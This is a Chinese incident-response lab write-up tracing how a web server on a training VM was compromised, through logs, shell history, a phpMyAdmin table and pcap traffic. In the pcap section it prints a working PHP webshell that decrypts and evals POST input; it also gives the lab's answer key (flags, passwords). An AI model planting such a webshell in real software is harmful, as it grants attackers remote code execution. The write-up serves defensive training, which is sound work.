当前位置:首页>Linux>应急响应打靶--Linux2

应急响应打靶--Linux2

  • 2026-10-11 07:52:42
应急响应打靶--Linux2

免责声明

本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!

靶机资源:
网盘下载:https://pan.quark.cn/s/4b6dffd0c51a#/list/share
需要注意:应急,没有所谓的标准流程
账号密码:root/Inch@957821.
需要先配置下IP,不然终端直接看可能不太方便

登录信息查询

假设,黑客已经入侵这台服务器了,我们第一步要做的是什么呢?

查看用户?查看日志?查看进程?直接拿脚本、工具去扫?

不,都不是

进系统的第一眼,发现主机名为web-server,代表肯定存在WEB应用(一般实际环境中名字不可能随便起,基本都是跟本机器安装的应用/功能有关)

第一步,最主要的是现在都有哪些人在登录,比如黑客是否在进行其他操作,如果当时黑客正在连接服务器,先ban掉黑客的IP以及连接,再做其他操作,不然一切都是无用功

w:查看系统信息,用于显示某一时刻用户的行为

  • USER: 登录账号

  • TTY : 终端名称

  • FROM: 远程主机名

  • LOGIN@: 登录时间

  • IDLE: 空闲时间

  • JCPU: 该TTY终端连接的所有进程的占用时间

  • PCPU: 当前进程(即w项中显示的)的占用时间

  • WHAT: 当前正在运行进程的命令行

who:查看当前登录用户(tty本地登录  pts远程登录)

last:用于显示用户最近登录信息

字段
含义说明
用户名
登录用户(这里大部分为root,reboot是系统重启的虚拟用户)
终端
登录类型:pts/* 为 SSH 远程伪终端;tty* 为本地物理控制台
来源 IP / 主机名
远程登录的来源 IP,本地登录则为空 /localhost
登录时间
会话开始的时间
退出时间 / 状态
会话结束的时间,或状态标识:still logged in:当前会话在线crash:会话因系统崩溃异常结束down:系统正常关机
会话持续时间
括号内的时间,格式为[天+时:分],如771+06:51表示 771 天 6 小时 51 分
  • 发现192.168.20.1使用root用户继续登录过,最早登录时间:3.4 09:48,最后一次登录时间:3.20 15:36

可疑用户
查看是否有可疑账户:cat /etc/passwd
  • 代表存在WEB服务和mysql服务

查询特权用户特权用户(uid 为0):awk -F: '$3==0{print $1}' /etc/passwd

  • 正常情况下输出内容只有root,如果存在其他用户,需要注意

查询可以远程登录的账号信息:awk '/\$1|\$6/{print $1}' /etc/shadow

cat /etc/passwd|grep "/bin/bash"
查询其他账号是否存在sudo权限(如非管理需要,普通账号应删除sudo权限):more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
  • root用户和wheel用户组

  • cat /etc/group|grep wheel

wheel用户组没有其他用户
如果存在可疑账号,需要禁用或删除:
  • usermod -L user:禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头

  • userdel user:删除user用户

  • userdel -r user:将删除user用户,并且将/home目录下的user目录一并删除

历史命令
通过历史命令,可判断出攻击者做了哪些操作,根据这些操作进一步分析入侵者
root的历史命令:history
从历史命令中得到以下信息:
  • 关闭防火墙、selinux

  • /home/目录远程下载宝塔并安装,目录为/www/目录,日志目录为/www/wwwlogs目录,中间件为nginx

  • 删除了/www/wwwroot/127.0.0.1/目录下的flag1、1、version2.php、pe9.sql

  • 编辑了.api文件(不一定保存了)和.api目录,目录为/www/wwwroot/127.0.0.1/.api,并把/www/wwwroot/127.0.0.1/api目录下的所有文件复制到/www/wwwroot/127.0.0.1/.api目录

  • 编辑了/www/wwwroot/127.0.0.1/.api/mpnotify.php和alinotify.php文件

  • 安装了vim

  • 创建了用户flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ},只不过创建失败,得到一个flag

  • 编辑了/etc/profile,并重新加载配置文件,最后使用env验证是否flag3是否被加载到环境变量中

  • go_build_untitled.exe文件加执行权限并运行,改名为wp并运行,目录为/root/目录

  • 修改root密码

  • 运行wp

其他用户的历史命令:打开/home各账号目录下的.bash_history
如何为历史命令增加登录的IP地址、执行命令时间等信息:
需要注意:之前的历史命令执行时间,是当前修改配置并生效的时间,而不是之前实际攻击的实际
1)保存1万条命令sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile2)在/etc/profile的文件尾部添加如下行数配置信息:######jiagu history xianshi#########USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]thenUSER_IP=`hostname`fiexport HISTTIMEFORMAT="%F %T $USER_IP `whoami` "shopt -s histappendexport PROMPT_COMMAND="history -a"######### jiagu history xianshi ##########3)source /etc/profile让配置生效
  • 之后查看历史命令就会出现时间了,这里就不演示了,图是之前的图
如果黑客执行了history -c,如何恢复?
方法:

1. 查看磁盘上永久保存的所有历史命令(直接看文件)

cat ~/.bash_history

2. 把文件命令重新加载回内存(执行后 history 命令就能看见了)

history -r ~/.bash_history

什么情况下,命令无法找回?
  • 执行 history -c(清空内存)

  • 执行 history -w(用空内存覆盖磁盘文件)

异常端口
netstat -anptu
  • nginx端口:80、888

  • ftp端口:21

  • ssh端口:22

  • 邮件端口:25

查看pid所对应的进程文件路径:ls -l /proc/$PID/exe($PID 为对应的pid 号)

异常进程
ps aux
top
开机自启动

/etc/rc.local

more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/

计划任务

crontab -l

Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root

重点关注以下目录中是否存在恶意脚本:

/var/spool/cron/* /etc/crontab/etc/cron.d/*/etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/*/etc/cron.weekly//etc/anacrontab/var/spool/anacron/*
小技巧:
more /etc/cron.daily/*  查看目录下所有文件
异常文件
  • 查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性

  • 得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?

    • 可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件

  • 针对可疑文件可以使用stat进行创建修改时间。

  • 查找某段时间内创建的文件(btime):
    find / -type f -exec stat --format '%W %n' {} \; 2>/dev/null | awk -v start="$(date -d '2024-03-18 00:00:00' +%s)" -v end="$(date -d '2024-03-19 23:59:59' +%s)" '$1 != "0" && $1 >= start && $1 <= end {print $2}'
  • 查找某段时间内修改的文件(mtime):

    find / -type f -newermt "2024-03-18 00:30:00" ! -newermt "2024-03-20 15:28:00" 2>/dev/null
  • 查找某段时间访问的文件(atime):

    find / -type f -newerat "2024-03-18 00:30" ! -newerat "2024-03-20 15:28" 2>/dev/null

查找某段时间内修改属性的文件(ctime):

find / -type f -newerct "2024-03-18 00:30" ! -newerct "2024-03-20 15:28" 2>/dev/null
  • /tmp/目录
  • /root/目录
系统日志

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

日志文件
说明
/var/log/cron
记录了系统定时任务相关的日志
/var/log/cups
记录打印信息的日志
/var/log/dmesg
记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog
记录邮件信息
/var/log/message
记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp
记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog
记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp
永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp
记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure
记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中
分析技巧:1、定位有多少IP在爆破主机的root帐号:    grep"Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more定位有哪些IP在爆破:grep"Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c爆破用户名字典是什么? grep"Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr2、登录成功的IP有哪些:     grep"Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more登录成功的日期、用户名、IP:grep"Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' 

定位有多少IP在爆破主机的root账号:    

定位有哪些IP在爆破:

爆破用户名字典是什么?

登录成功的IP有哪些:     

登录成功的日期、用户名、IP:

得出结论:

  • 3.20 14:30:21 192.168.20.1第一次连接ssh并成功登录

  • 3.20 15:04:22 192.168.20.1连接ssh

  • 3.20 15:36:25 192.168.20.1连接ssh失败

  • 3.20 15:36:28 192.168.20.1最后一次连接ssh并成功登录

可见,入口点不是SSH爆破进来的

分析宝塔日志

  • 日志路径:/www/wwwlogs
  • 日志文件:127.0.0.1.log
列出当天访问次数最多的IP命令:cut -d- -f 1 /www/wwwlogs/127.0.0.1.log|uniq -c | sort -rn | head -20
查看当天有多少个IP访问:awk '{print $1}' /www/wwwlogs/127.0.0.1.log|sort|uniq|wc -l
查看每一个IP访问了多少个页面:awk '{++S[$1]} END {for (a in S) print a,S[a]}' /www/wwwlogs/127.0.0.1.log
将每个IP访问的页面数进行从小到大排序:awk '{++S[$1]} END {for (a in S) print S[a],a}' /www/wwwlogs/127.0.0.1.log | sort -n
查看某一个IP访问了哪些页面并统计出次数:grep ^192.168.20.1 /www/wwwlogs/127.0.0.1.log | awk '{print $1,$7}' | sort | uniq -c|sort -nr
查看某一个页面被哪些IP访问并统计出次数:grep "/version2.php" /www/wwwlogs/127.0.0.1.log | awk '{print $1,$7}' | sort | uniq -c|sort -nr
查看某个IP第一次和最后一次访问时间以及访问路径:第一次:grep 192.168.20.131 /www/wwwlogs/127.0.0.1.log | awk '{print $4,$7}' | sort|head -1最后一次:grep 192.168.20.131 /www/wwwlogs/127.0.0.1.log | awk '{print $4,$7}' | sort|tail -1
查看状态码、访问次数、访问路径、访问IP:cat /www/wwwlogs/127.0.0.1.log |awk '{print $1,$7,$9}'|sort|uniq -c|sort -rn|more
文件流量统计:awk '{sum_total[$7] += $10} $9==200 {sum_200[$7] += $10} END{for(i in sum_total) print "总流量:"sum_total[i]"  |  200成功流量:"sum_200[i]"  |  路径:"i}' 127.0.0.1.log | sort -rn -k2 -t:
URL访问量统计:cat 127.0.0.1.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more
如果条件允许,可以把上述命令做成脚本,然后加入自己的见解,后期无需手敲,直接脚本化即可
从上面可以大致得出以下结论:
  • 192.168.20.1:

    • 访问了317个页面,其中/index.php?user-app-register页面76次,/version2.php页面48次,状态码均为200,两个页面流量最大

    • 第一次访问:2024.03.07 12:07:05

    • 最后一次访问:2024.03.20 15:36:56

    • /index.php?bank-master和/index.php?course-master各四次

  • 192.168.20.131:

    • 访问了71个页面,其中/index.php?user-app-register页面76次,状态码均为200

    • 第一次访问:2024.03.07 15:06:21

    • 最后一次访问:2024.03.07 15:39:38

当然,也可以尝试借助Web 日志分析工具:应急响应之WEB日志分析工具
之后可详细分析日志:
可搭配宝塔页面分析:/etc/init.d/bt default
不知道密码,只能修改密码,输入bt
但有个问题,宝塔端口为12485,日志中搜索不到12485,所以大概率不是从宝塔这里入侵的
那么从宝塔页面可以看出哪些内容
那phpmyadmin中能得到哪些信息呢?

phpmyadmin中得到信息:

  • x2_block表:出现典型的一句话木马,密码为Network2020,是一个注册页面

  • x2_user表:出现四个用户:

    • 解密网站:https://www.somd5.com/

    • peadmin:Network@2020,注册时间:2016 年 08 月 21 日 00:00:00,注册IP是127.0.0.1,权限为管理员

    • 教师管理员:111111,注册时间:2016-08-21 00:00:00,注册IP是127.0.0.1,权限为教师

    • zgsf:密码没解出来(af0c68603004a1b5af4d87a71a813057),注册时间:2024-03-07 07:06:58,注册IP是192.168.20.131,权限为普通用户

    • zgsfAdmin:密码没解出来(ed2b3e3ce2425550d8bfdea8b80cc89a),注册时间:2024-03-07 07:23:53,注册IP是192.168.20.131,权限为普通用户

  • x2_user_group表:1为管理员,8为普通用户,9为教师

除了127.0.0.1日志之外,还有一个access.log日志
把内容复制出来,然后分析下
可以看到几乎全是192.168.20.1访问phpmyadmin页面
  • 第一次访问phpmyadmin:2024.03.07 12:05:16
  • 最后一次访问phpmyadmin:2024.03.07 12:30:04
需要添加个域名,不然无法访问网站,这里可以得出192.168.20.144是WEB服务器
分析pcap数据包
之前在/root目录得到一个pcap数据包
首先,筛查下都有哪些IP
其中192.168.20.1-->192.168.20.144占比最多
先看http协议
之后一条一条分析
可以看出,这是蚁剑的流量特征:@ini_set("display_errors", "0")
连接密码为Network2020
需要注意,最前面的Tt需要删除掉,不然无法解密
看返回,应该是运行了ll -a命令
需要注意,去掉前两位,大概内容是往/www/wwwroot/127.0.0.1/flag1文件写入#Halo AntSword!内容
flag1文件成功写入
查看flag1文件内容
往flag1文件写入内容:flag1{Network@_2020_Hack}
查看flag文件内容
应该是执行了uname -a命令
执行命令:cd "/www/wwwroot/127.0.0.1";cd /www/wwwroot/127.0.0.1/;echo de171;pwd;echo 0c89fdda
执行命令:cd "ret=";cat flag1;echo de171;pwd;echo 0c89fdda
执行命令:cd "ret=";tar flag1;echo de171;pwd;echo 0c89fdda
执行命令:cd "ret=";/bin/bashj;echo de171;pwd;echo 0c89fdda
执行命令:cd "ret=";/bin/bash;echo de171;pwd;echo 0c89fdda

访问/flag1,内容为flag1{Network@_2020_Hack}

执行ll -a命令
<?php@error_reporting(0);session_start();    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl'))	{$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {    			 $post[$i] = $post[$i]^$key[$i+1&15];     			}	}else	{$post=openssl_decrypt($post, "AES128", $key);	}    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1];classC{public function __invoke($p) {eval($p."");}}    @call_user_func(new C(),$params);?>
往shell.php写入木马
查看shell.php是否成功写入
shell.php修改为version2.php

运行了ll -a命令,确认shell.php成功修改为version2.php

查看version2.php文件内容
之后GET访问version.php,404
GET访问version2.php,200

后续version2.php,没解密出来,content,进行base64解码和AES解密,解出来是乱码,可能是k不对

pcap分析:post访问/index.php?user-app-register,木马连接,连接密码为Network2020post访问/index.php?user-app-register,运行了ll -a命令post访问/index.php?user-app-register,往/www/wwwroot/127.0.0.1/flag1文件写入内容:#Halo AntSword!post访问/index.php?user-app-register,运行了ll -a命令,查看flag1文件是否成功写入post访问/index.php?user-app-register,查看flag1文件内容post访问/index.php?user-app-register,往/www/wwwroot/127.0.0.1/flag1文件写入内容:flag1{Network@_2020_Hack}post访问/index.php?user-app-register,查看flag1文件内容post访问/index.php?user-app-register,执行uname -a命令post访问/index.php?user-app-register,执行命令:cd "/www/wwwroot/127.0.0.1";cd /www/wwwroot/127.0.0.1/;echo de171;pwd;echo 0c89fddapost访问/index.php?user-app-register,执行命令:cd "ret=";tar flag1;echo de171;pwd;echo 0c89fddapost访问/index.php?user-app-register,执行命令:cd "ret=";/bin/bashj;echo de171;pwd;echo 0c89fddapost访问/index.php?user-app-register,执行命令:cd "ret=";/bin/bash;echo de171;pwd;echo 0c89fddaGET访问/flag1,内容为flag1{Network@_2020_Hack}post访问/index.php?user-app-register,运行了ll -a命令post访问/index.php?user-app-register,写入shell.php木马post访问/index.php?user-app-register,查看shell.php是否成功写入post访问/index.php?user-app-register,shell.php修改为version2.phppost访问/index.php?user-app-register,运行了ll -a命令,确认shell.php成功修改为version2.phppost访问/index.php?user-app-register,查看version2.php文件内容GET访问version.php,404GET访问version2.php,200

WEB网站

地址:http://192.168.137.140/index.php

可以看到,有登录和注册页面

注册:http://192.168.137.140/index.php?user-app-register

登录:http://192.168.137.140/index.php?user-app-login

前面已知:/index.php?user-app-register页面存在问题,是注册页面,那是怎么把木马写入到注册页面的?

但是注册的账号密码破解不出来,那怎么办呢?

改密码,把已知账号的密文直接替换到注册的两个账号上面

之前在WEB网站日志中除了注册地址,还发现了一个地址:/index.php?bank-master

假设:这里通过爆破得知用户名密码:peadmin:Network@2020

所以,漏洞点找到了,弱口令--添加标签--访问注册页面--写后门
遗漏补充
历史命令中编辑了

/www/wwwroot/127.0.0.1/.api/mpnotify.php和alinotify.php文件

alinotify.php文件中发现一个flag2:flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
解题
  • 提交攻击者IP?

    • 192.168.20.1  

  • 提交攻击者修改的管理员密码(明文)

    • Network@2020

  • 提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)

    • index.php?user-app-register

  • 提交Webshell连接密码

    • Network2020

  • 提交数据包的flag1

    • flag1{Network@_2020_Hack}

  • 提交攻击者使用的后续上传的木马文件名称

    • version2.php

  • 提交攻击者隐藏的flag2

    • flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

  • 提交攻击者隐藏的flag3

    • flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

入侵流程
2024.3.7 07:06:58 192.168.20.131 注册zgsf2024.3.7 07:23:53 192.168.20.131 注册zgsfAdmin2024.3.7 09:48 192.168.20.1 登录root用户2024.3.7 15:06:25 192.168.20.131第一次访问/index.php?user-app-register页面2024.03.07 12:05:16 192.168.20.1第一次访问phpmyadmin2024.03.07 12:07:05 192.168.20.1 第一次访问/index.php?user-app-register页面2024.03.07 15:23:53 192.168.20.131最后一次访问/index.php?user-app-register页面2024.03.07 12:25:26 192.168.20.1第一次访问/index.php?bank-master页面(后台页面),应该是弱口令进来的,这个页面访问次数很少,之后添加标签,然后写后门,至于有没有修改密码,没看出来2024.03.07 12:30:04 192.168.20.1最后一次访问phpmyadmin2024.3.20 06:33:37 192.168.20.1 第一次访问蚁剑后门2024.3.20 06:37:25 192.168.20.1 写入shell.php木马2024.3.20 06:37:45 192.168.20.1 shell.php修改为version2.php2024.3.20 14:30:21 192.168.20.1连接ssh并成功登录2024.3.20 14:38:27 192.168.20.1第一次访问/version2.php2024.3.20 14:40:34 192.168.20.1最后一次访问/version2.php2024.3.20 14:52:24 192.168.20.1最后一次访问/index.php?bank-master页面(后台页面)2024.3.20 14:55:00 修改mpnotify.php文件2024.3.20 14:57:27 修改alinotify.php文件创建flag3用户失败2024.3.20 15:03:07 修改/etc/profile文件,添加flag3内容,并且修改了root密码2024.3.20 15:04:22 192.168.20.1连接ssh2024.3.20 15:36:25 192.168.20.1连接ssh失败2024.3.20 15:36:28 192.168.20.1最后一次连接ssh并成功登录2024.03.20 15:36:56 192.168.20.1最后一次访问/index.php?user-app-register页面
需要注意:这里192.168.20.1IP既是攻击者,也是宝塔安装者(运维者),可在宝塔页面日志那里看到信息,所以,有的时候流程可能感觉有点混乱
而且实际有两个IP,一个是192.168.20.1,一个是192.168.20.131(注册用户使用的此IP)
修复
  • 修改centos的root密码、宝塔WEB页面密码、数据库root密码、数据库kaoshi密码、WEB页面peadmin密码、WEB页面教师管理员密码
  • zgsf、zgsfAdmin如果不是自行创建的,需删掉,如果是,需修改密码

  • 删除/www/wwwroot/127.0.0.1/.api目录(因为是直接复制的api目录)
  • 考试后台页面删除标签
  • 修复考试后台页面漏洞
  • 修改/etc/profile文件,并生效环境变量
  • 进行常规安全检查、杀毒,进行全面主机排查

  • 检查主机服务是否存在其他漏洞:mysql、宝塔、PHPEMS、FTP、SSH、邮件等

  • 配置防火墙,设置规则

报告书写
  • 网上找模板

  • 公司有特定模板

  • 使用工具生成(只是入侵检测,无后续善后工作,如果需要善后工作需要自己补充)

    • https://github.com/s1g0day/ReportGenX

最新文章

随机文章